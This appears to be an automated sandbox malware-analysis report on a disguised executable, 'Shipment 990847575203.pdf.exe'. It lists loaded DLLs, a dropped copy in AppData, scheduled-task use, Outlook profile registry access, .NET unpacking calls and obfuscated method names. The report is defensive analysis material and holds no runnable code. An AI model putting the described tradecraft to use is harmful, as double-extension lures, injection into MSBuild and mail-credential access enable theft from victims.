Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Shipment 990847575203.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Shipment 990847575203.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jQtbrjIkx2d5oocfLW.cs	.Net Code: phSsPsqGmA System.Reflection.Assembly.Load(byte[])
Source: 0.2.Shipment 990847575203.pdf.exe.7b70000.3.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jQtbrjIkx2d5oocfLW.cs	.Net Code: phSsPsqGmA System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_0185D8B7 push edi; iretd	0_2_0185D8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB07D9 push edi; retn 0000h	9_2_00CB07DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB37E8 push esi; retf	9_2_00CB37E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB07E0 push edi; retn 0000h	9_2_00CB07EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB37E4 push esi; retf	9_2_00CB37E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB07AD push edi; retn 0000h	9_2_00CB07CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB891E pushad ; iretd	9_2_00CB891F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB8C2F pushfd ; iretd	9_2_00CB8C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB8DDF push esp; iretd	9_2_00CB8DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0119A5BB push es; ret	17_2_0119A5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB9233 push es; ret	17_2_06AB9244

Source: Shipment 990847575203.pdf.exe	Static PE information: section name: .text entropy: 7.722678416773331
Source: FZcXKpA.exe.0.dr	Static PE information: section name: .text entropy: 7.722678416773331

Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, H2EO4uflVClPeHg5dc.cs	High entropy of concatenated method names: 'YWKWCCL0mY', 'KdAWyeFeQO', 'Mh8W4VAd1U', 'qFfWw4n9uM', 'sUBW1sN5ai', 'iB9WT6y3Xj', 'fd6WppZGrG', 'zCrW0EYrkH', 'fBLWhndCOD', 'RWPWDhkR7l'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, PRY7ePpMX6vanqjPoG.cs	High entropy of concatenated method names: 'KvuUYiuUyG', 'CfOU6naZ6u', 'dp2U35fe5M', 'i853F4Ynv8', 'NON3zfeCht', 'JEfUdGbal7', 'TnNUiTkGg9', 'sCjUtlo4xb', 'v0BUVER2HQ', 'nkUUs42daR'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, yoXA61ylf4l4Q83oN1.cs	High entropy of concatenated method names: 'YOO6mRSOp2', 'sTk6LgWwWq', 'N2R6Ci4FGe', 'jsY6ydGPiH', 'I4H6OG157A', 'urZ68RCIEO', 'nWb6bLegJ8', 'Qgm6Na6GIa', 'EqS6Xk6vMy', 'zja6xFc2yW'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, CRp3GtusZBAEmWpROn.cs	High entropy of concatenated method names: 'ToString', 'PRo8DZQiFD', 'OK98wwCXMt', 'p7s8Byjyrr', 'nqX81f4QAi', 'qWb8TLmfoD', 'Rrw8KXTkr6', 'vE18pnrlNA', 'OVo80L4cA7', 'bIr8gFaJ9u'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, kDHMSYagSA2XxZ0rWP.cs	High entropy of concatenated method names: 'Dispose', 'hOjiqiw1tV', 'oWrtwJ7aK9', 'ANRerOVjan', 'DduiF6iRxO', 'oiHiz2Bvh2', 'ProcessDialogKey', 'B3etdoDekr', 'kprti94iJD', 'aa1tthxIr8'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, fhjhn1idwjxxig0oK1N.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'M3FxD89rYC', 'wugxcE4Nea', 'VTLxfZH8J6', 'yFOxlD9N9o', 'q2Bxr9HQAM', 'chMxuElKWs', 'Y2qxnpSYk8'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, xoDekrqIpr94iJDda1.cs	High entropy of concatenated method names: 'qGXX4Ds1Lk', 'iaDXwLlbEk', 'XflXBRImhi', 'Tm9X1EvkoY', 'dIpXTBcaMZ', 'TxMXK6YWk8', 'gMMXpYDAfw', 'cjTX00B9jN', 'eu8XgIp0yG', 'yPpXhLZW0P'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, Nuf84oii8TDlxRmuOwj.cs	High entropy of concatenated method names: 'xhuxFf0EJk', 'D9Uxz5IKuN', 'ifcRdq3uhD', 'dfaRiYijFY', 'W53RtfJds8', 'KbmRVlcowm', 'PlkRs7Pq8V', 'FJURAE2Kqg', 'q9wRYkrXBR', 'M1LRaIuRR9'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, p193nWsoohnuqO1fal.cs	High entropy of concatenated method names: 'BCUiUynCmX', 'Y47iIq9Whp', 'IlfiZ4l4Q8', 'ioNiS16nER', 'E2ZiOQt0hi', 'qkvi8mdLl9', 'X8nL3hM4Ymks6840qj', 'ULpwbk86xSt2RHi7tt', 'R0ZiiiqWEa', 'YjuiVDFRZu'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, h0viivthtdPD7AE9q4.cs	High entropy of concatenated method names: 'qi8PA0jfF', 'ls8mLPvX3', 'nRrLaN3T9', 'fYe5LfySs', 'K0GyJOjvh', 'U2AjCbM96', 'buUwb6RVsqKl2aBuHf', 'jDYy28IdqiTexjg0AK', 'LdMNE49jX', 'mbAxIkJ2L'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, z06ShxJKP6Ojiw1tVC.cs	High entropy of concatenated method names: 'bIwXOgxdb4', 'Db1XbPlpBb', 'gmfXX4NlJE', 'rwEXRWgxXj', 'IDHXGuBaGN', 'XL0XoZEgfZ', 'Dispose', 'kZxNYjZtHO', 'bmoNaWvj9b', 's2SN6v28fX'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, QqlwWTit35kB8Cy0AbA.cs	High entropy of concatenated method names: 'ToString', 'Ww3RC8pK05', 'zYwRyXZEtK', 'uW1RjHVNk1', 'NJhR4pEA9V', 'JpsRwtLqXI', 'EdURBDQF79', 'kc7R1rfOpW', 'HaPNo4oNsW9aI2g2VbF', 'ors1LfohDVoZtkPkn6E'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, tguQVK9tZtAxc3a75h.cs	High entropy of concatenated method names: 'Vapb25uda6', 'Fb2bFwiL4s', 'umsNdPc39R', 'v0LNiLU1me', 'vwjbD7cHxc', 'LsAbctiKtx', 'TKQbf52oFT', 'dTZblpvnni', 'XjcbrDqqZc', 'YvObuTZAtm'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jynCmXCF47q9Whp0rl.cs	High entropy of concatenated method names: 'dJnalPx3EN', 'N48arvxh66', 'uHxauMDcq6', 'f46anSlR6M', 'Y9oa7oUamX', 'JKNa9Z7k3W', 'tJSaJ5HQNW', 'wbla2nbQ7I', 'jbDaqHSEcF', 'FijaFUuAKc'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, EBEqYZglTFqw7qayu7.cs	High entropy of concatenated method names: 'JsHUe3pCI8', 'nc2UkHHfbd', 'ILJUPqDfkB', 'qXlUmrZK1f', 'vsuUHq1jTy', 'AY6ULT53wg', 'bjkU5cBiyJ', 'TQTUCbOvW0', 'vOLUyC7n8y', 'p3KUjxhYei'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, BPxW7yl9kpekboTtat.cs	High entropy of concatenated method names: 'aqwOhvfTS9', 'kMNOcUY3gg', 'sKeOl8fC51', 'CrFOr6XjkZ', 'mXrOwnxMEE', 'A0JOBBwP2D', 'OBjO1Gi9pm', 'ztAOTCBYZr', 'WLXOK4NBX6', 'X7iOpb3fhF'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, Mhibkv4mdLl9kJHNxS.cs	High entropy of concatenated method names: 'LyW3Adccm0', 'sax3ay78Hx', 'MTS3QAXulN', 'D2A3UCH8L5', 'n5a3ItHlfk', 'TuRQ7GKnDT', 'zRFQ9b08Kl', 'kCqQJectYb', 'sqVQ2VIw3T', 'wcWQqeFMPL'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, hnER9ij17BiqWy2ZQt.cs	High entropy of concatenated method names: 'NEkQH34heV', 'CoJQ5yVW6Y', 'c6k6BAmZax', 'tKF611uXN1', 'UY56TlFvrs', 'eX36KLlbrg', 'tmj6p3sgcK', 'fmE60LGly6', 'IEq6gfgx3V', 'LT56hQjWoS'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, ERU2yGisNADuKaiepMI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'eWbMXV23bT', 'ODBMxaaiiu', 'AbGMRUsZ38', 'LvCMMAjTa4', 'AfpMGxALXf', 'SlAME6TJK2', 'OLeMokCnQi'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, jQtbrjIkx2d5oocfLW.cs	High entropy of concatenated method names: 'SLHVAsCCKx', 'AB1VYJjiQ9', 'drAVaRwtCE', 'N6hV68fCqC', 'dVnVQilDxO', 'nhnV3plytD', 'oLWVUJ8Hg7', 'zhqVIuOyre', 'whlVviGs3E', 'WAwVZKCC92'
Source: 0.2.Shipment 990847575203.pdf.exe.4537a70.1.raw.unpack, BKswpgz6v2Ti4RbQAR.cs	High entropy of concatenated method names: 'UbCxLXXZFv', 'J4BxCYpwZ9', 'W60xyTexUX', 'Nmyx4LfAE4', 'gsExwdgvCE', 'lfHx1dhfEI', 'YAkxTth2v6', 'BUNxoUv3YY', 'E0dxeuZWnZ', 'AecxkScgo7'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, H2EO4uflVClPeHg5dc.cs	High entropy of concatenated method names: 'YWKWCCL0mY', 'KdAWyeFeQO', 'Mh8W4VAd1U', 'qFfWw4n9uM', 'sUBW1sN5ai', 'iB9WT6y3Xj', 'fd6WppZGrG', 'zCrW0EYrkH', 'fBLWhndCOD', 'RWPWDhkR7l'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, PRY7ePpMX6vanqjPoG.cs	High entropy of concatenated method names: 'KvuUYiuUyG', 'CfOU6naZ6u', 'dp2U35fe5M', 'i853F4Ynv8', 'NON3zfeCht', 'JEfUdGbal7', 'TnNUiTkGg9', 'sCjUtlo4xb', 'v0BUVER2HQ', 'nkUUs42daR'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, yoXA61ylf4l4Q83oN1.cs	High entropy of concatenated method names: 'YOO6mRSOp2', 'sTk6LgWwWq', 'N2R6Ci4FGe', 'jsY6ydGPiH', 'I4H6OG157A', 'urZ68RCIEO', 'nWb6bLegJ8', 'Qgm6Na6GIa', 'EqS6Xk6vMy', 'zja6xFc2yW'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, CRp3GtusZBAEmWpROn.cs	High entropy of concatenated method names: 'ToString', 'PRo8DZQiFD', 'OK98wwCXMt', 'p7s8Byjyrr', 'nqX81f4QAi', 'qWb8TLmfoD', 'Rrw8KXTkr6', 'vE18pnrlNA', 'OVo80L4cA7', 'bIr8gFaJ9u'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, kDHMSYagSA2XxZ0rWP.cs	High entropy of concatenated method names: 'Dispose', 'hOjiqiw1tV', 'oWrtwJ7aK9', 'ANRerOVjan', 'DduiF6iRxO', 'oiHiz2Bvh2', 'ProcessDialogKey', 'B3etdoDekr', 'kprti94iJD', 'aa1tthxIr8'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, fhjhn1idwjxxig0oK1N.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'M3FxD89rYC', 'wugxcE4Nea', 'VTLxfZH8J6', 'yFOxlD9N9o', 'q2Bxr9HQAM', 'chMxuElKWs', 'Y2qxnpSYk8'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, xoDekrqIpr94iJDda1.cs	High entropy of concatenated method names: 'qGXX4Ds1Lk', 'iaDXwLlbEk', 'XflXBRImhi', 'Tm9X1EvkoY', 'dIpXTBcaMZ', 'TxMXK6YWk8', 'gMMXpYDAfw', 'cjTX00B9jN', 'eu8XgIp0yG', 'yPpXhLZW0P'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, Nuf84oii8TDlxRmuOwj.cs	High entropy of concatenated method names: 'xhuxFf0EJk', 'D9Uxz5IKuN', 'ifcRdq3uhD', 'dfaRiYijFY', 'W53RtfJds8', 'KbmRVlcowm', 'PlkRs7Pq8V', 'FJURAE2Kqg', 'q9wRYkrXBR', 'M1LRaIuRR9'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, p193nWsoohnuqO1fal.cs	High entropy of concatenated method names: 'BCUiUynCmX', 'Y47iIq9Whp', 'IlfiZ4l4Q8', 'ioNiS16nER', 'E2ZiOQt0hi', 'qkvi8mdLl9', 'X8nL3hM4Ymks6840qj', 'ULpwbk86xSt2RHi7tt', 'R0ZiiiqWEa', 'YjuiVDFRZu'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, h0viivthtdPD7AE9q4.cs	High entropy of concatenated method names: 'qi8PA0jfF', 'ls8mLPvX3', 'nRrLaN3T9', 'fYe5LfySs', 'K0GyJOjvh', 'U2AjCbM96', 'buUwb6RVsqKl2aBuHf', 'jDYy28IdqiTexjg0AK', 'LdMNE49jX', 'mbAxIkJ2L'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, z06ShxJKP6Ojiw1tVC.cs	High entropy of concatenated method names: 'bIwXOgxdb4', 'Db1XbPlpBb', 'gmfXX4NlJE', 'rwEXRWgxXj', 'IDHXGuBaGN', 'XL0XoZEgfZ', 'Dispose', 'kZxNYjZtHO', 'bmoNaWvj9b', 's2SN6v28fX'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, QqlwWTit35kB8Cy0AbA.cs	High entropy of concatenated method names: 'ToString', 'Ww3RC8pK05', 'zYwRyXZEtK', 'uW1RjHVNk1', 'NJhR4pEA9V', 'JpsRwtLqXI', 'EdURBDQF79', 'kc7R1rfOpW', 'HaPNo4oNsW9aI2g2VbF', 'ors1LfohDVoZtkPkn6E'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, tguQVK9tZtAxc3a75h.cs	High entropy of concatenated method names: 'Vapb25uda6', 'Fb2bFwiL4s', 'umsNdPc39R', 'v0LNiLU1me', 'vwjbD7cHxc', 'LsAbctiKtx', 'TKQbf52oFT', 'dTZblpvnni', 'XjcbrDqqZc', 'YvObuTZAtm'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jynCmXCF47q9Whp0rl.cs	High entropy of concatenated method names: 'dJnalPx3EN', 'N48arvxh66', 'uHxauMDcq6', 'f46anSlR6M', 'Y9oa7oUamX', 'JKNa9Z7k3W', 'tJSaJ5HQNW', 'wbla2nbQ7I', 'jbDaqHSEcF', 'FijaFUuAKc'
